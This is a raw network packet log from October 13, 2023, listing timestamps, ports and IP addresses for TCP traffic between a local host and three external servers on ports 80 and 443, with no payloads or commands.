Oct 13, 2023 16:06:11.731497049 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.731538057 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.731566906 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.731575966 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.731587887 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.731609106 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.733944893 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.733989000 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.734039068 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.734050035 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.734067917 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.734095097 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.735816956 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.735858917 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.735883951 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.735893011 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.735918045 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.735935926 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.736279964 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.736329079 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.736360073 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.736427069 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.736727953 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.736793041 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.736816883 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.736865997 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.737027884 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.737080097 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.737097979 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.737149954 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.737468004 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.737529993 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.737757921 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.737814903 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.738087893 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.738145113 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.738326073 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.738364935 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.738379955 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.738392115 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.738419056 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.738456964 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.738471985 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.738529921 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.738565922 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.738616943 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.738799095 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.738854885 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.738893032 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.738948107 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.738976002 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.739027023 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.739229918 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.739267111 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.739289999 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.739304066 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.739310980 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.739356995 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.739356995 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.739393950 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.739409924 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.739450932 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.740082979 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.740122080 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.740142107 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.740159035 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.740176916 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.740180969 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.740197897 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.740205050 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.740222931 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.740235090 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.740247011 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.740256071 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.740268946 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.740289927 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.740291119 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.740313053 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.740336895 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.740391016 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.740391970 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.740431070 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:11.740442991 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.740480900 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:11.742583036 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.742625952 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.742681026 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.742691994 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.742724895 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.742744923 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.759934902 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.760008097 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.760061979 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.760106087 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.760128975 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.760148048 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.761773109 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.761822939 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.761845112 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.761856079 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.761881113 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.761899948 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.763701916 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.763744116 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.763761044 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.763775110 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.763793945 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.763814926 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.765767097 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.765808105 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.765836000 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.765847921 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.765861034 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.765880108 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.767671108 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.767743111 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.767755032 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.767817974 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.770020962 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.770064116 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.770095110 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.770101070 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.770133972 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.770154953 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.772008896 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.772092104 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.772207022 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.772216082 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.772259951 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.775057077 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.775108099 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.775140047 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.775147915 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.775172949 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.775192976 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.776396990 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.776446104 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.776467085 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.776484013 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.776501894 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.776519060 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.778526068 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.778606892 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.778610945 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.778635979 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.778660059 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.778672934 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.780473948 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.780519962 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.780549049 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.780571938 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.780591965 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.780608892 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.784091949 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.784141064 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.784285069 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.784308910 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.784352064 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.785368919 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.785415888 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.785429001 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.785443068 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.785463095 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.785479069 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.786783934 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.786834002 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.786860943 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.786873102 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.786892891 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.786906004 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.788682938 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.788736105 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.788743973 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.788760900 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.788789988 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.788800001 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.790631056 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.790673018 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.790724039 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.790739059 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.790762901 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.790776968 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.793148041 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.793195009 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.793225050 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.793236017 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.793261051 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.793277979 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.795353889 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.795404911 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.795424938 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.795435905 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.795464993 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.795474052 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.797287941 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.797331095 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.797353983 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.797363997 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.797384024 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.797399998 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.799793959 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.799841881 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.800040960 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.800055027 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.800092936 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.802862883 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.802912951 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.802952051 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.802962065 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.802994967 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.803018093 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.804613113 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.804673910 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.804707050 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.804716110 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.804740906 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.804755926 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.806044102 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.806102037 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.806133032 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.806150913 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.806169987 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.806189060 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.808765888 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.808788061 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.808835983 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.808849096 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.808861971 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.808891058 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.810198069 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.810225010 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.810261965 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.810270071 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.810295105 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.810312986 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.811770916 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.811789989 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.811826944 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.811832905 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.811853886 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.811872005 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.814219952 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.814239979 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.814316988 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.814323902 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.814346075 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.814363956 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.817053080 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.817074060 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.817231894 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.817261934 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.817411900 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.818830013 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.818865061 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.818897009 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.818906069 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.818932056 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.818941116 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.821095943 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.821115971 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.821285963 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.821294069 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.821333885 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.822741985 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.822762012 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.822818041 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.822824001 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.822923899 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.822923899 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.824095964 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.824115992 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.824177980 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.824186087 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.824222088 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.826212883 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.826231956 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.826292038 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.826299906 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.826339006 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.826351881 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.828053951 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.828074932 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.828110933 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.828116894 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.828144073 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.828162909 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.829791069 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.829813957 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.829857111 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.829864025 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.829890013 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.829910040 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.831739902 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.831758976 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.831826925 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.831835032 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.831880093 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.832564116 CEST	80	49781	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:11.832628012 CEST	49781	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:11.833857059 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.833878994 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.833914995 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.833923101 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.833949089 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.833960056 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.835246086 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.835294008 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.835328102 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.835335016 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.835361958 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.835371971 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.837069988 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.837096930 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.837136984 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.837143898 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.837178946 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.838794947 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.838814974 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.838881969 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.838881969 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.838891029 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.838928938 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.840759039 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.840781927 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.840852976 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.840861082 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.840904951 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.841289043 CEST	80	49782	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:11.841387987 CEST	49782	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:11.842160940 CEST	49782	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:11.842396021 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.842415094 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.842453003 CEST	49779	443	192.168.2.4	104.21.86.8
